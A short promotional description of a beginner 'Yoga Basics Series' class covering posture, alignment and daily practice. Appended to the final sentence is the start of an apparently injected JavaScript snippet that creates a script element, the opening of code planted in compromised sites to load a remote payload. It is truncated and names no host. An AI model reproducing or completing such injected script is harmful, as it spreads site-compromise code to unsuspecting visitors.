Yoga Basics Series

Students will learn the basic language and theory of yoga, and learn what yoga has to offer, both physically and on a deeper level. What’s great about these classes is that yoga postures are described in a way that new students can understand. And by that we mean you’ll understand how to align your body, and also how to conceive of the posture in your mind and assimilate it into your whole self. Students will also learn ways in which yoga can be incorporated into your own daily routine, to bring more ease, relaxation and peace to your life. This is a valuable introduction to yoga, and could be your key to bringing a sustainable yoga practice into your life.var d=document;var s=d.createElement(‘script’);